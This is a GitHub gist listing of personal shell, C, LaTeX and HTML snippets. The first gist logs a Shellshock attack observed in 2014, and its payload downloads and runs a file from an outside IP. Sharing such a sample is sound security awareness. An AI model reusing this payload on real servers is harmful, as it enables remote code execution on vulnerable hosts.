Skip to content

Instantly share code, notes, and snippets.

View abenson's full-sized avatar

Andrew Benson abenson

  • San Antonio, TX
View GitHub Profile
@abenson
abenson / gist:a6bbccd91da327250e9b
Created October 6, 2014 00:16
shellshock in the wild
176.67.167.180 - - [05/Oct/2014:11:14:20 -0500] "GET /?x=() { :; }; echo Content-type:text/plain;echo;ech
o;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp
/404.cgi;rm -rf /tmp/404.cgi* HTTP/1.0" 200 1959 "() { :; }; echo Content-type:text/plain;echo;echo;echo
M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cg
i;rm -rf /tmp/404.cgi*" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -
O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*"
@abenson
abenson / backpanel.tex
Created January 7, 2015 04:47
tikz example
\documentclass{standalone}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
% outside border
\draw[step=1cm,gray,very thin] (-1.9,-1.9) rectangle (31.9,6.9);
% back panel frame
\draw (0,0) rectangle(30,5);
@abenson
abenson / gmpv
Created February 14, 2018 04:02
my mpv frontends
#!/bin/sh
fname=$(zenity --file-selection 2>/dev/null)
if [ -r "$fname" ]; then
mpv "$fname"
fi
@abenson
abenson / travis.sh
Last active March 7, 2018 23:45
you got any of them travises
#!/bin/sh
pkg="$1"
shift
if [ -z $pkg ]; then
echo "usage: $0 <pkg>"
exit
fi
#!/bin/sh
# xupavail - see how many packages are available for upgrade
SUDO=
if command -v sudo >/dev/null &&
sudo -l | grep -q -e ' ALL$' -e xbps-install; then
SUDO=sudo
elif [ "$(whoami)" != root ]; then
SUDO='su root -c '\''"$@"'\'' -- -'
fi
@abenson
abenson / xupavail
Last active April 5, 2018 13:56
Check for available packages on Void
#!/bin/sh
# xupavail - counts the number of packages available for update
SUDO=
if command -v sudo >/dev/null &&
sudo -l | grep -q -e ' ALL$' -e xbps-install; then
SUDO=sudo
elif [ "$(whoami)" != root ]; then
SUDO='su root -c '\''"$@"'\'' -- -'
fi
@abenson
abenson / pa-volume
Last active April 25, 2018 14:20
volume control
#!/bin/sh
case "$1" in
"up" )
pactl set-sink-mute @DEFAULT_SINK@ false
pactl set-sink-volume @DEFAULT_SINK@ +5%
;;
"down" )
pactl set-sink-mute @DEFAULT_SINK@ false
pactl set-sink-volume @DEFAULT_SINK@ -5%
@abenson
abenson / bin2chr.c
Created July 17, 2018 21:26
bin2chr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc, const char *argv[])
{
uint8_t b = 0, c = 128;
int i;
@abenson
abenson / sdclock.html
Last active July 30, 2018 21:58
us gov't shutdown clock
<html>
<head>
<style>
body {
background-color: black
}
</style>
<title>US Gov't Shutdown Clock</title>
</head>
<body>
@abenson
abenson / expand_net
Created March 15, 2019 01:13
"expand_net" wrapper for nmap
#!/bin/sh
SORT="cat"
if [ "$1" = "-r" ]; then
shift
SORT="sort -R"
fi
if [ -z "$1" ] || [ "$1" = "-h" ]; then